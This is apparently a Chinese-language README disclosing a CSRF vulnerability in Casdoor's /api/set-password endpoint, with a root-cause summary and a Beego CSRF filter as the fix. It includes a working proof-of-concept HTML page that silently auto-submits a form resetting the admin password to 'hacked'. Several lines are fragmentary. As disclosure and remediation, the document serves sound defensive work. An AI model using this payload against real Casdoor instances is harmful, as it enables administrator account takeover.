摘要
/api/set-password 中的 CSRF 允许在未经同意的情况下更改密码。影响
built-in/admin),导致账户被接管。攻击前提条件
casdoor_session_id cookie。/api/set-password 提交 POST 请求。概念验证
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
根本原因
/api/* 下的状态更改端点接受基于 cookie 身份验证的请求,而未强制执行同源检查(Origin/Referer)或 CSRF 令牌。修复概述
/api/* 下跨站、基于 cookie 的 POST/PUT/DELETE/PATCH 请求。Authorization、Basic 认证、客户端凭据或 accessToken)的请求,或不带浏览器会话 cookie 的请求(典型的服务器到服务器调用)。实现
csrf_filter.go 中实现的 routers.CSRFFilter。该过滤器:
如何集成到 Casdoor
csrf_filter.go 复制到 Casdoor 项目现有的 routers 包中。不要修改或删除此文件中的任何内容。main 内部):
// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
验证
Unauthorized operation,服务器应记录 CSRF check failed。Authorization 头或 accessToken 参数的跨源 API 调用应继续正常工作。仓库文件
csrf_filter.go:要复制到 Casdoor 的 routers 包中的 CSRF 过滤器。poc.html:重现 CSRF 攻击的最小页面。README.md:描述漏洞和修复步骤的本文档。参考资料
视频